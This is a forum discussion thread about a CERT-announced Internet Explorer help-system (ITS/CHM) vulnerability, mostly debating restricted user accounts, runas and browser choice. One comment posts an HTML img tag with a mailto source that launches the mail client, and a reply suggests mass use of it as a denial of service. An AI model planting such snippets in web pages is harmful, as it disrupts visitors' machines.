New Windows Vulnerability in Help System

wesleyt writes "CERT announced today a significant Microsoft Windows vulnerability related to IE and its handling of the Windows help subsystem. There are currently no patches available and no virus definitions for the major scanners. As well, exploits have been reported in the wild. Because the vulnerability is in the help subsystem, even users who avoid Outlook and IE are vulnerable, since IE is the default handler for help files. It seems that this is going to be an ugly one."

Comments

MS

[Fredbo]

Microsoft is in some serious need of some help on this...

Re:MS

[biet]

But who wants to help them anyway ? Oh wait...

Re:MS

[MrNonchalant]

"By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a different security domain than the one containing the attacker's document." So basically we're talking another e-mail attachment auto-execution exploit here. A whole new generation of viruses just got a way to spread minus a user's click. Thank goodness I use Mozilla mail.

Re:MS

[netsharc]

"It seems like you're trying to exploit a security hole. Would you like help?"

Re:MS

[Anonymous Coward]

As if they needed another method.

try:
<img src=mailto:user@host?Subject=Something&Body=Fun>
on IE...

Re:MS

[IrRegEx]

convincing a victim to view an HTML document such as a web page

This sounds bad. I know we've convinced users to not open attachments such as .vbs files and the like. But now we have to somehow tell them not to open .htm(l) files as well?

Didn't MS get into trouble before when disclosing security holes? Now everyone who is interested knows exactly how to get in the door. No?

Whatever the reason really is, this is why I like my linux and Mac computers. I don't have to deal with this problem.

Re:MS

[Tango42]

I hate it when someone sends me a html file. Normally it is a copy of a webpage, and a url would have been smaller, and better (pictures, links, etc. break if you don't know what you are doing). I think people should be told not to open html files sent by email as well as more obvious things like exes.

Re:MS

[LiquidCoooled]

The problem is, they state that this may not be limited to IE/Outlook (Express):

NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs.

Another instance where unbundling and removing IE from a system would be beneficial...

Re:MS

[mAineAc]

The problem is, they state that this may not be limited to IE/Outlook (Express):

Does this mean I need tobecarefulusing man now?

Re:MS

[afidel]

Better yet use an email client that can strip all but basic tags from the message before displaying it. Mozilla Mail has such a feature, it's called view as basic HTML. That along with not downloading remote images and not allowing Javascript/Java/Plugins to run on email makes me fairly confident that Mozilla Mail won't be a virus vector anytime soon.

Re:MS

[scrytch]

It starts up mail! I can't believe it, it starts up mail! What an insecure piece of shit, I can't believe it! On firefox, when I view it ... it starts up mail!

Oh wait, you wanted me to do it in IE? Oh yeah, that does it too.

Re:MS

[cubic6]

Well, it's a little more complicated than just "unbundling and removing" IE in this situation. I'd consider the Help system critical for system functioning for lots of users. It'd be totally inexcusable for Windows to not come with any Help just for the sake of deintegration. If they unbundled IE, they'd just have to write *another* HTML rendering engine and associated parts to handle the Help files. It'd probably be more buggy and even less standards-compliant.

On a side note, KDE does the same thing. I can open a "ms-its://" url to view .chm help files. If a bug was discovered in Konqueror's handling of ms-its urls that resulted in a security hole, would there be anyone claiming Konqueror shouldn't be part of KDE?

Re:MS

[b-baggins]

So, your motto is now: How can I limit what my computer allows me to do?

It's like people who yell at others for not locking their doors, failing to realize that locking doors is simply the reaction to the problem, not the solution.

Re:MS

[AxelBoldt]

If your friend sends you an URL via email, will you visit the site with IE? If yes, then you are vulnerable. (The email was of course not really sent by your friend, but by a worm on your friend's computer.)

Re:MS

[Tango42]

Not at all. I said people should be told not to open them, not that they should be forced not to. Education is the answer, not restrictions.

Re:MS

[TCaptain]

If they unbundled IE, they'd just have to write *another* HTML rendering engine and associated parts to handle the Help files. It'd probably be more buggy and even less standards-compliant.

If they unbundled IE, why the hell wouldn't the help files simply use the designated default browser??

Re:MS

[Tango42]

I was refering to HTML attachments, not emails. Stopping html emails is easy.

Re:MS

[Zirtix]

If a bug was discovered in Konqueror's handling of ms-its urls that resulted in a security hole, would there be anyone claiming Konqueror shouldn't be part of KDE?

Konqueror is part of KDE, not part of GNU/Linux. But IE is part of Windows.

Re:MS

[jrexilius]

No, they would call the default browser properly just like other non-MS apps have to, that would not preclude them from shipping it with IE so that by default there would be an engine but it should call the correct default engine. The other option is to _NOT_ make it html based help. How about .rtf or just a plain VB app calling system fonts. I would lean towards .txt .rtf as it would have less test cycles to deploy additions, easier third-party exposure, smaller, etc. The third option would be an extremely stripped down engine that only processes hyperlinks and .png images. Yes that would be extra work but it would be cheap and easier to secure (less complex). I say this because hyperlinks are helpfull for navigation but I dont agree with binding OS level functions to an application.

Re:MS

[Tango42]

No, if it were sent now, I would open it using Firefox (it would have been mozilla until a few days ago). Unfortunately I have little choice but to use Outlook Express (preview pane turn off of course) for email though, so IE would jump up if I loaded the attachment (it is avoidable, but not easilly). :-(

Re:MS

[Tuxedo Jack]

And why not simply use .hlp files like the old programs used to do? No HTML, no MS HTML engine, no problem. .hlp files are basically Hypercard stacks jammed into a self-executing file. They don't use IE - they're their own viewer.

Re:MS

[VivianC]

If they unbundled IE, why the hell wouldn't the help files simply use the designated default browser??

Because then Microsoft would lose control of how the help is displayed. It's all about controling every aspect of the user interface.

Re:MS

[Halfbaked Plan]

Eudora can work for this, too, but one danger Eudora users should be aware of is that Eudora uses the Microsoft HTML viewer for viewing HTML mail unless you specifically go into the config and tell it not to use the MS HTML viewer. This is a really important part of configuring Eudora.

Sylpheed is the best ...email program... evah of course.

Re:MS

[cubic6]

{Mozilla, Opera, Lynx} doesn't support CHMs or the ITS protocol. You're right though, they could support interchangeable interfaces so you could use Gecko to render the help files. I certainly hope this will happen, but I don't think it's likely unless some government lawyer grows a pair and forces them to.

If they "unbundled" IE, they would still ship it with every boxed copy of Windows, and if you wanted Help out of the box, you'd need to install IE. The only way you'd be able to get a completely IE-free system would be from an OEM or a customized install disc.

Re:MS

[cubic6]

Never said Konqueror was a part of GNU/Linux. I actually carefully worded that sentence to avoid that impression. *Sigh*

My point wasn't against the security of Linux or KDE, but against the hypocrisy of claiming that IE should be unbundled because integration == bad security. I'm not talking about the kernel or CLI or anything like that, I'm talking about the desktop environment. Windows provides one, and so does KDE. The fact that you could use Gnome or Xfce isn't relevant, because they don't have the same kind of integration.

If you don't install Konqueror/KHTML when you install KDE, your help system is screwed, as are any apps that embed a KHTML component. In that respect, IE/mshtml and Konq/khtml are comparable.

Re:MS

[gbulmash]

Amazing. I've tried most of the good and/or popular Windows mail clients out there. The only one I consider truly decent is Pegasus Mail. It's a closed-source freeware project and supposedly doesn't run too badly under WINE either. You need a special plug-in to make IE play nice with Pegasus, so no mail was started, but I got an error message that it tried to start a mail.

Thing is, it can't hit the send button, so all it is is an annoyance. But if you put 100 or 1000 of those links on a page, it could ostensibly work as a Denial of Service, tying up the visitor's computer as Outlook tries to open up a thousand new e-mail messages.

Here's an IE issue I discovered a while back. Someone (apparently accidentally, because this was a customer-client relationship) sent me a jpeg photo. For some reason there was a bunch of XML embedded in the photo (I think some Mac app did it).

After viewing (or trying to view this photo) with IE, it was impossible to view any graphics in IE at all until you closed out of IE and re-started it. The fix to it was to open the photo in any simple JPG viewer and re-save it, which dumped all the XML out of the photo source. But it was odd. - Greg

Re:MS

[ScarletEmerald]

If they unbundled IE, why the hell wouldn't the help files simply use the designated default browser??
If Windows doesn't ship with a default browser, they probably couldn't assume the user had one installed.

Re:MS

[0x0000]

If a bug was discovered in Konqueror's handling of ms-its urls that resulted in a security hole, would there be anyone claiming Konqueror shouldn't be part of KDE?blockquote> Konqueror is part of KDE, not part of GNU/Linux. But IE is part of Windows.

Wait, it sounds like you're calling Windows an operating system...? Windows was not part of GNU/Linux, last I checked. Has it been integrated into FreeBSD or MacOS, now?

Re:MS

[0x0000]

In my firefox (SuSE 8.2 / FVWM2) it gives me a "Protocol mailto: not defined" error. heheh.

Not that big of deal

[Anonymous Coward]

I am sure the major virus scanners will have it before anything "really" bad happens.. this isnt anything special.. move along

Re:Not that big of deal

[baryon351]

As a mac user I'm just glad that our beleaguered platform that's now full of trojans has a competitor and hopefully this upstart Windows will take some of the attention away. phew!

Re:Not that big of deal

[Cyberllama]

This exploit can be used to run ANY code. So while virus scanners may detect some variations, I doubt they can detect them all.

Re:Not that big of deal

[ymgve]

There has been worms out on IRC that exploit this hole for WEEKS. The bad has already happened.

Re:Not that big of deal

[Theaetetus]

I am sure the major virus scanners will have it before anything "really" bad happens.. this isnt anything special.. move along

Yeah, and from the report:
"By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a different security domain than the one containing the attacker's document."

[snort] Convincing a victim to view an HTML document? Ha! Like that'll happen!

Oh, and go check out my website, BTW. ;)

-T

Re:Not that big of deal

[Yekrats]

I am sure the major virus scanners will have it before anything "really" bad happens.. this isnt anything special.. move along

You've gotta be kidding! Viruses can spread quicker than the virus companies can react. During this past week, our systems have recently been ransacked by a variant of the Polybot virus. Have you noticed about five new Dat files for McAfee in the past week? That's because we were totally screwed by this virus, and none of the major antivirus programs seemed to do a darned thing. (Oh, McAfee would detect it, but then let it through. Thanks!) Maybe our samples will help some other poor schmuck out there.

Fact is, once a virus is deployed, it can spread very fast. While the virus is spreading, someone must procure and send a sample to the antivirus companies, who must engineer a fix for it, and then publish a DAT update. Then, once the Extra.dat file is published, the end-user has to download and deploy it. Best case scenario, it will probably take a few days. By that time, a virus can do a lot of spreading and damage.

Re:Not that big of deal

[OSUnderdog]

Um, Actually, Mac OS X does come with IE and I believe that either Quicken or Adobe Photoshop Elements (or both) use IE for help on Mac OS X...

Just another good reason to remove IE from my Mac.

Re:Not that big of deal

[CaptCanuk]

I would think twice before saying that... I was hit with something two days ago which replaced my start up page with a rotating url list from inside a "c:\\winnt\\start.chm". I'm not sure if this was due to this exploit or other. I tried checking various AV sites and found no info on that filename.

Privilege level

[Gary Destruction]

"could allow an attacker to execute arbitrary code with the privileges of the user running IE" This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry.

Re:Privilege level

[Phexro]

They also don't have permission to do most things that users are used to doing, such as installing new software.

Not saying that your comment is wrong, just that for most people, convenience is more important than security.

Re:Privilege level

[pe1chl]

To install new software, users (except the totally clueless) log in as an administrative user, or even choose to run the setup program as an administrative user while being logged in as an unprivileged user.

Unfortunately, the default distribution of Windows is not setup this way, and is even discouraging it (especially in the Home version).

Re:Privilege level

[harlows_monkeys]

This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry

So basically, then, that makes it so that if the user gets infected by something, all it can do is destroy that user's personal files, and propogate over the network, as opposed to doing all that AND making the user have to reinstall Windows by mucking with system stuff?

That's nice for administratos--they can clean the machine just by wiping that user, but for the user that is not going to make much difference.

Re:Privilege level

[Gary Destruction]

Use the runas service to do administrative stuff. You can either use it in command line form or hold down shift and right click on an executable. It works on most control panel applets as well.

Re:Privilege level

[goat_attack]

Unfortunately many programs and especially games require you have admin access to work, i.e. The Sims (god knows why). Imagine teaching your mother to use one account for installs, and another for her email and browsing, then throw in some stuff that will only work under admin and you'll quickly see where this goes.

This is a much broader problem than merely stupid/lazy users.

Re:Privilege level

[DA-MAN]

So basically, then, that makes it so that if the user gets infected by something, all it can do is destroy that user's personal files, and propogate over the network, as opposed to doing all that AND making the user have to reinstall Windows by mucking with system stuff?

That's nice for administratos--they can clean the machine just by wiping that user, but for the user that is not going to make much difference.

Let's see, 1 hour of downtime while we reimage and reconfigure your machine vs. 1 minute to clear out your profile and let me work on pulling your data from a good known back up.

Re:Privilege level

[Anonymous Coward]

To install new software, users (except the totally clueless) log in as an administrative user, or even choose to run the setup program as an administrative user while being logged in as an unprivileged user.

I don't do this, and not because I'm clueless, but because there are lots of pieces of software that I am forced to use that need you to be logged in as not only an Administrator, but THE Administrator. Most of this software was made for Windows 95 or Windows 98, and some even for Windows 3.x.

Re:Privilege level

[Lukey Boy]

You realize that's only valid in the context of a corporate setup, right? Most viruses and trojans infest home systems. Of course it's easy to reimage a machine in an office - it's the fabled "Aunt Tillie" we have to worry about.

Re:Privilege level

[Gary Destruction]

Ah, but most worms and viruses *want* to write to the WINNT directory, it's subdirectories and the registry. Unless the worm or virus can elevate privileges, it's not going to be able to install itself as a service unless it puts itself in the startup menu in the user's registry. It really depends what the virus or worm was programmed to do. If it's something ilke klez which infects executables, then any executables with that user's permission will be infected. Some thing goes for a virus or worm that infects or destroys jps or word files. It just depends on what it was programmed to do. And it's going to most likely try to copy itself to the WINNT directory, it's subdirectories and the registry BEFORE it propagates itself. And it also depends if the user's profile is mandatory or not. And user's files should be saved to a server and not locally.

Re:Privilege level

[Halfbaked Plan]

I used to try running Windows 2000 as a non-privledged user.

The problem is, not every Windows program out there is written to be aware of the fine-grained security model of Windows NT. In a 'perfect world' every Windows developer would code properly, with security in mind. As it stands, the complex NT security model is just ignored by a lot of people. It might work great in a locked-down corporate environment with a limited-set of software, i.e. where the user isn't allowed to install anything, and the software installed is a narrow well-tested set. It won't ever work in looser environments. Given the lax 'security culture' of Microsoft and it's user base, it's unworkable.

Re:Privilege level

[Anonymous Coward]

> Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories

Typicall stupid techie answer.

Restricted users have write or modify permission on the critical business files and databases. Which are 8 thousands times more important to the business than your average winnt directory.

Get out of your mom basement.

Re:Privilege level

[pe1chl]

This is like saying that keylocks work well in a bank, but will never be workable in normal life. People will lose keys, will find it uncomfortable to carry keyrings, etc.

Sure there is some truth in that, but as more and more people don't respect other people's property, keylocks have become a necessity and have to be lived with, no matter the discomfort.

The same is now happening with software security.

Re:Privilege level

[h2odragon]

if i have to re-educate my users to be aware of security, i may as well re-educate them to a better thought out environment.

To extend the lock metaphor well beyond any rationality: i'll teach them to use keys instead of a "dance and sing" ritual... "you have to log in as root to do this and that" instead of "you have to right click and selct this, unless its september or a full moon when you have to double click here and then do this that and this other step; except for full moons during september when you have to sacrifice a blue goat at 11:13pm PST using a 14 inch Stihl chainsaw".

Re:Privilege level

[Gary Destruction]

You want a techie answer? I'll give you a techie answer. Restricted users don't have write or modify permissions to the WINNT directory, its child objects, or subdirectories due to parent level propagation via NTFS. If restricted users can get to critical business files and databases, then it's the admin and/or DBA admin's fault for not setting the proper privilege levels. And yes, DB's have permissions that can be set.

Re:Privilege level

[Halfbaked Plan]

To extend your analogy to fit better, consider a world in which many doors, windows, cabinets, etc. are designed in such a way that it's impossible to install a key lock. Others are designed so that a keylock can be installed, but there's only one supply anywhere in the world for key blanks for that particular lock. So you can't lock certain places at all, because you only have one key, and there are five of you who need access to that cabinet or room.

Re:Privilege level

[TheLink]

I've tried running IE as a different user from my normal restricted user that way IE can't even screw up my normal nonadmin user stuff.

However after doing that bookmarks etc don't work- had to go do some registry editing to fix that.

Probably have to point the bookmarks and stuff to a place accessible by the "ForIE" user.

In the end for untrusted sites (shockwave flash crap etc etc) I just run IE in a vmware.

Re:Privilege level

[Anonymous Coward]

Recent spamworms were programmed to be smart enough to detect a non-Admin user and only install themselves to the local profile. For a desktop machine, that's usually good enough to do what they are trying to do.

Re:Privilege level

[Florian Weimer]

"could allow an attacker to execute arbitrary code with the privileges of the user running IE" This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry.

Even a user without admin privileges can turn the box into a spam relay (or a DDoS agent), so reducing privileges is only a very partial solution.

Re:Privilege level

[TheLink]

Login as your usual restricted user for your normal stuff (wordprocessing etc), e.g. joe

Right click on the IE/browser shortcut, select run as different user e.g. www_joe.

Then give www_joe permissions to joe's browser directories, or point the browser files to different folders in the registry/config files.

Of course this doesn't protect against shatter attacks etc.

So run IE in a VMware virtual machine and rollback after each session (copy out the data you want before that). VMware Workstation is now USD189 prev was USD299 or some high price.

Re:Privilege level

[goranb]

And you can go on with the "unfortunatly" list:
Many of us do actuall programming... Like services on Win32... You need to be an administrator for this if you want to get something done in a reasonable timespan...
Unfortunatly you will need some documentation of the API doing this...
Unfortunatly MSDN comes in the form of help files (ok, extended and all, but it's still the same basic help system)

Re:Privilege level

[eyeye]

Do restricted users have the ability to execute a trojan with a self contained SMTP engine? What about delete all their files? Not serious enough? What about using a local account exploit to gain admin?

Besides that many people will run as a power/admin user because windows security is a joke, you cant even run many applications unless you are an admin level user. Your 10 year old sister wants to play "Age Of Mythology"? Well she better be admin or no game!

Its retarded.

Re:Privilege level

[cerberusss]

I still run Windows 2000 as a non-privileged user. But whenever apps act funny as a normal user, I go to administrator mode and hand out full control over the appropriate directory in \Program Files. That usually solves the problem.

Re:Privilege level

[krygny]

The biggest pain in the ass, is that you have to log off and change desktops. I wouldn't mind running as a restricted user if I could run some things from a shell as administrator when needed.

Re:Privilege level

[Kagami001]

You can use the RunAs command to run applications with administrator priveleges when needed. Probably the absolute most useful thing to do is use RunAs on iexplore.exe, which gives you an explorer shell as the other user. I have a shortcut on my start menu that does specifically that for quick access.

One thing you have to keep in mind, though, is that right-clicking a shortcut and using Runas from the context menu seems to run the application with the environment variables of the *current desktop* as opposed to the user credentials you supply the Runas command. Using the Runas command from a command prompt (or creating a shortcut that calls the Runas command) does not cause this effect, so creating a shortcut with the target "runas /user:admin c:\program files\internet explorer\iexplore.exe" (or whatever path you need) seems to work best.

You'd think something like this would be present in the Administrator tools menu to begin with...

Re:Privilege level

[talieos]

What's embarassing is that even some games that come out of Miscrosoft Game Studios need to run as admin.

You'd think they would at least have the info to make it work right w/o admin.

Re:Privilege level

[Chris Mattern]

> This is why you run as a restricted user rather than administrator or power user.

When I moved from 98 to XP I tried to run as a regular user, I did. I understand the security implications. I do non-rootly things on Linux as a non-root user. Ditto for my Solaris box. But XP, it just wasn't possible. Half my applications didn't work. After struggling with it for a month, I finally gave up and ran as an admin user.

Chris Mattern

Re:Privilege level

[NotoriousQ]

But hey, at least it will not run an email server, and will not be able to restart itself on the next reboot. Or does windows not have a concept of priveledged ports, and permission separated registry?

Re:Privilege level

[sLaSh_N_bUrN_(.Y.)]

How about adding a printer, or changing the current powersave settings? Not so easy with runas.

Re:Privilege level

[ymgve]

Games need Administrator privileges because the copy protection systems use driver tricks that are only available to administrators. Yet another reason why copy protection should be abolished.

Re:Privilege level

[mdaitc]

when you get the logon-screen-for-dummies press ctrl+alt+delete twice and then you get the proper logon screen. You can type the username administrator in there. Unless you've set a password, it might be blank, or the account might be locked.. but you can certainly logon as administrator!

Re:Privilege level

[walt-sjc]

True, but the problem isn't 100% users, it's about 50% software vendors that don't follow the security model correctly. Until they do, 95% of users will have difficulty working with the security model no matter if they want to use the system or not. They keylock analogy doesn't work well to really describe what is going on. Analogies just cloud the issue in this case - they oversimplify it.

Re:Privilege level

[Baki]

Then use "run as" to grant the problematic but trusted programs extra rights.

Re:Privilege level

[walt-sjc]

This doesn't fix shitty apps that need admin over random registry bits, or the system folder.

Re:Privilege level

[FrankNputer]

So having a stove in a straw house is not a good idea. Is it then stupid to have a stove, or stupid to live in a straw house?

Re:Privilege level

[Himring]

The point is Windows, and Windows networking, has assumed root access for far too long. 1000s, heck 10s of 1000s, of applications have been written expecting root.

A well-intentioned administrator may think it a good idea to do something such as change restrictanonymous to something other than default so that an anonymous user cannot see everything as has always been allowed before, but it hasn't worked very well if changed to "1" and if changed to "2" those 10s of 1000s of apps suddenly stop functioning properly across the network because they are used to free-reign (and simple actions such as a user being able to change their own password has been hampered). NT4, 2K and 2K3 still don't play very well together when tampering with it (setting it to what's "recommended" or "2"). If don't want very much heartache with your network backup software, terminal services or SQL then leave the bloody thing at "0" or wait for these companies to catch up and MS to iron it out (don't hold breath).

Locking down a local, windows machine has pitfalls as well, and no one who has attempted this has gotten away scott-free.... And I really hope I spelled "scott-free" right....

Re:Privilege level

[hoggoth]

> They also don't have permission to do most things that users are used to doing
> for most people, convenience is more important than security.

It's not just convenience. Several of the applications I need to run won't work at all unless I am an administrator. It's wrong and stupid, but it's a fact of life on Windows: many applications don't behave properly.

Re:Privilege level

[parksie]

Run explorer using runas, then go to the Control Panel.

Re:Privilege level

[Repugnant_Shit]

And so how is that secure?

Re:Privilege level

[Theaetetus]

The problem is, not every Windows program out there is written to be aware of the fine-grained security model of Windows NT. In a 'perfect world' every Windows developer would code properly, with security in mind.

Excellent point. Happens on both platforms, actually - Digidesign's audio editor "ProTools" insists on being run as an Administrator and will not let anyone non-Administrator run it. Their reasoning is that somehow ProTools has magic abilities to delete files that users don't have permissions for, and for a non-admin user to use ProTools, it would give them the additional permissions. Completely wrong.
They have put out a beta version that removes that restriction, but it's not fully tested yet. Seems to work for me, though.

-T

Re:Privilege level

[damiam]

Runas doesn't cut it for normal desktop use. Aside from doing "administrative stuff", a lot of programs (especially games) require admin access. It's not worth the trouble (for most people, including me), to use runas every time I want to do anything on my machine. Now, if Windows had some form of sudo or setuid, that might actually work.

Re:Privilege level

[AxelBoldt]

This is why you run as a restricted user

Doesn't solve the problem at all. Restricted users can send out spam and virus email or start DDOS attacks just the same. I don't know offhand if a restricted user can start a program that monitors traffic on the LAN, but I wouldn't be surprised. (Probably you have to exploit another Windows vulnerability first.) If so, then it could go ahead and happily broadcast all found passwords to an irc channel.

The mentioned vulnerability is being exploited by many porn sites. In Mozilla, you often get "ms-its: unknown protocol" when surfing to sites in Russia.

Re:Privilege level

[drsmithy]

Runas doesn't cut it for normal desktop use. Aside from doing "administrative stuff", a lot of programs (especially games) require admin access. It's not worth the trouble (for most people, including me), to use runas every time I want to do anything on my machine.

Works fine for me. The few programs I have that require Adminstrator access have their shortcuts setup to prompt for a password when they start. Simple.

Now, if Windows had some form of sudo or setuid, that might actually work.

Uh, "Run As" *is* the "form of sudo".

Re:Privilege level

[WoodstockJeff]

This is why you run as a restricted user rather than administrator or power user.

This advice works well. And, I wish I could follow it universally on client machines. Unfortunately, any user that needs to syncronize their Palm Pilot with Outlook can't, unless they're an administrator. So every "executive" must have adminstrator privilages for their machine, even though they're also the least likely to understand the security implications of this.

Also, some virus scanners can't update their signature files without adminstrator privileges, meaning you either make the user an adminstrator (power user doesn't cut it), or you don't keep them up-to-date on virus scanning without an adminstrator hitting each and every machine.

Re:Privilege level

[drsmithy]

One thing you have to keep in mind, though, is that right-clicking a shortcut and using Runas from the context menu seems to run the application with the environment variables of the *current desktop* as opposed to the user credentials you supply the Runas command.

I don't think that's right. Certainly drive mappings made by the current user aren't recognised by the process being "Run As".

What makes you say it keeps the current user's environment ?

Re:Privilege level

[JRootabega]

It's not. And it's a shame, considering the problem is probably the ability to create temporary files in the directory, which can be solved by giving the user the "Create Files" permission.

Re:Privilege level

[damiam]

Works fine for me. The few programs I have that require Adminstrator access have their shortcuts setup to prompt for a password when they start. Simple.

Good for you. It doesn't work fine for a lot of other people. It would help if MS would implement some way to just let you type in a password without requiring two mouse clicks in the "Run as" dialog just to focus the password input box (which is grayed out by default).

Run as is usable for limited tasks, but I tried using WinXP as a non-administrator for a couple weeks and got so fed up with it that I just gave my account administrator privledges. Since I'm behind a firewall, don't run IIS, don't check mail on this machine, and don't use IE, I'm not too scared of viruses being able to delete (easily replaced) system files in addition to the personal documents that they could already mess with.

Uh, "Run As" *is* the "form of sudo".

In a very limited sense. Sudo can be set up to allow admin access to some programs by certain users without prompting for a password. Runas (at least in its GUI form) cannot.

Re:Privilege level

[CreatureComfort]

Let's take a look at your analogy. Most homes have a lock on the door to the outside. Most people will keep these locked when they are out of the house, but a significant number leave it unlocked when they are home. Think of that as your main login/password. Once you get inside the home, many of your most important doorways don't have doors, let alone locks...kitchen, living room, dining room. Those that do have doors, most don't have locks...bedrooms, refridgerator, closets. In fact, once you get inside the house the only doors that usually have a lock are on the bathroom and gun cabinet (what that says about psycology is another thread entirely). Many of us don't even close the doors that are there, let alone lock the lockable ones.

Now imagine having to unlock and open a door every time you wanted to change rooms in your house. Imagine that, to maintain proper security, those locks were grouped into 'privalege and rights' groups and keys for one set of rights were different than keys for another. The kitchen key would let you into the kitchen, but wouldn't open the fridge. The master bedroom key let's you into both the master bedroom and master bath, but is a different key from the living room.

For useability this would be lousy, within a day you'd be ripping our locks and doors just so you could live your life more comfortably. This is just the situation for most non-tech computer users. They ask why they have to have a different login/password just to install a new game of solitare. Why do they need a different login to check their email. Why do they need a ... to open their AIM chat, etc. And when a 'computer security expert' tries to tell them that it's because if they don't have locks on their fridge then anyone who has access to their kitchen through the front door can drink all their beer, they just shake their head and say that's just silly.

Re:Privilege level

[cerberusss]

Good one... For "big" applications, there's often something online for it. But for most apps that would be too much of a hassle.

Re:Privilege level

[cerberusss]

For that particular app, it's not secure but at least for the rest I can keep running in pure user mode.

Re:Privilege level

[Foolhardy]

Now, if Windows had some form of sudo or setuid, that might actually work.

Runas.exe can take command line args, or sud or psexec are even easier to automate with a little script. sud can even create shortcuts that don't give up the admin password.

Re:Privilege level

[ImpTech]

Two funny things about this:

1. If you're going to all that trouble, why not just get Mozilla or Opera?

2. None of the solutions you describe will protect you from the help system, which is what this vulnerability is about.

Re:Privilege level

[Aliencow]

Look for *.cpl files, these are Control Panel applets.. and run as !

Re:Privilege level

[Gary Destruction]

Maybe when you get the testicular fortitude to post onimously, I'll take you seriously. Until then, you're just a troll crying for attention. And if they need access to those files so badly, then maybe the boss need to hire computer literate people to do the job. And there is a such thing as backups, you know.

Re:Privilege level

[TheLink]

"I tried creating a user in a different group. I didn't put that user in the Users group, but it still had access to all files the Users group had access too. So what you proposed is not going to work."

Your system is probably misconfigured.

In my system Users don't have access to each other's home directories (Documents and Settings\username) by default.

www-joe is not joe. www-joe by default doesn't have access to any of joe's stuff. Just set up www-joe to have read access to the relevant directories of joe- can only read/write to joe\favorites, internet temporary files, history, cookies etc. Heck you might keep some of these read only if you want.

I've tested this out, and it works- can browse internet as www-joe but cannot save/del any files in joe's non IE directories.

Alternatively copy the IE stuff out of joe's homedirectory and change the IE registry settings to point to the new locations.

Just give www-joe whatever access that IE needs to run.

This way if IE is exploited there is a lot less it can do, unless the "shatter" attacks are used.

Re:Privilege level

[thoth]

Interesting... I play a lot of games on my desktop (I run as PowerUser) and dozens work just fine, but only a handful require Administrator - two recent games for me that required Admin were Star Wars: KOTOR and C&C: Generals. Others (Morrowind, Galactic Civ, Tron 2.0, Warcraft 3, etc.) don't. I don't mind, doing a "Run As" isn't so bad.

Re:Privilege level

[TheLink]

Some sites only work with IE, and IE running in an insecure config too - they don't work with my locked down IE. Have fun getting them to work with mozilla or whatever.

Seems you haven't used vmware 4 yet.

With vmware 4 you can _rollback_ to a saved state wit a click of a button. So you can browse the site, download an executable, run the executable, get trojaned/rooted/exploited. Click revert, and it's almost like nothing ever happened.

You can run vmware on linux, then put windows in a vm and *bsd in another vm. And you can "unplug" the network cables so the two aren't connected to anything. OR you can "wire" things up so the *BSD vm is the firewall for the windows vm.

Pity the GSX prices are near obscene - I downloaded an eval, and it's nice, you can run it on a stripped down linux system, leaving lots of resources for the guest vms, AND you can make an RC script so that when the linux system is being shutdown, all running vms are suspended. No snapshot with the version of GSX I tested. I you could do a suspend and a copy, but that's a lot slower.

Re:Privilege level

[poot_rootbeer]

They also don't have permission to do most things that users are used to doing, such as installing new software.

And? In most cases installing software SHOULD be the job of an Administrator. Ask any corporate desktop support technician.

Then again, there are applications (Media Center, some AV software) that can't even RUN unless you're Admin. And few software installers even acknowledge the multi-user abilities of Windows -- if you log in as Administrator to install software, it's a crapshoot as to whether that software will work for any user on the machine, or just for the Administrator account.

Re:Privilege level

[Phexro]

Yes, but (though I didn't explicitly state it) I was referring more to home users. You obviously don't want users installing spyware-laden crap on a corporate network.

Re:Privilege level

[TheLink]

You're probably a troll but I'll respond anyway.

"1. If you're going to all that trouble, why not just get Mozilla or Opera?"

Don't work the same with all sites.

And:
Mozilla was and is a bloated piece of software (it used to be a bloated piece of crap, but seems to have been fixed a bit since). Still sluggish, heck when I'm using Linux/*BSD, I resort to using Konqueror instead of Mozilla.

Opera ain't free as in beer - and no I don't want to be updated on the love-life of that girl in my ex-colleague's Opera banner ad.

"2. None of the solutions you describe will protect you from the help system, which is what this vulnerability is about."

If IE and thus the help system runs as www-joe how is it going to screw up joe's files? It can't write to the Administrator's account files or system files either (joe account != Administrator).

"By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user running IE."

Heck it doesn't even look like the vulnerability will work on my W2K system:

"The vulnerability lets attackers trick the InfoTech Storage (ITS) protocol handlers in Microsoft's Internet Explorer (IE) to grab scripts from another domain (server) and gain the same privileges as those found in the victim's Local Machine Zone."

My Local Machine Zone security settings are as locked down as my Internet zone settings. So no scripts will run without my say so.

Basically all I need is a sudo for Win2k and I won't have to enter passwords to launch IE under a separate user account :).

If you're using Mozilla I suggest you run it as a different user from your normal user account too. The Mozilla/Netscape security track record isn't that great either.

Re:Privilege level

[vsprintf]

After reading through this thread, I can't help but laugh. So many here claim Linux is too hard for the average user and then launch into multi-step, unintuitive, arcane, *easy-to-do* steps needed to secure a user account in Windows. And don't forget to edit the registry and reboot. :)

Re:Privilege level

[Kagami001]

Scenaro: I'm logged on as the limited user "foo" I right-click the "Internet Explorer" shortcut from the Start Menuand select "Run as..." and run as the administrator account "bar" If I then enter a drive letter into the Address Bar, switching IE's behavior to that of Windows Explorer, and then press the "My Documents" link on the Common Tasks pane, I will be sent to foo's My Documents, not bar's My Documents. If I try to install a setup.exe, it will decompress to foo's temp directory, not bar's temp directory. On the other hand, if I use the runas command (runas /user:bar "c:\program files\internet explorer\iexplore.exe") from the command line (or as a shortcut target, same thing), then the above does not happen; pressing the My Document's link goes to bar's My Documents as expected, and bar's temp directory is used.

Re:Privilege level

[2nd Post!]

Design the system to make it trivial to backup and restore user data then.

To use an existing model:

OS X stores all user data in the /Users/ directory. Right click, make archive, and you have a backup. Store on a CD. Store on an iPod. Store anywhere.

Wipe the system, restore, then mount the CD, iPod, whatever. Copy the data over, and you have all your data back. ALL of it. Including application preferences, documents, logs, etc. In fact, the process of restoring the backup literally is 'insert CD, copy' or 'plug in iPod, copy'.

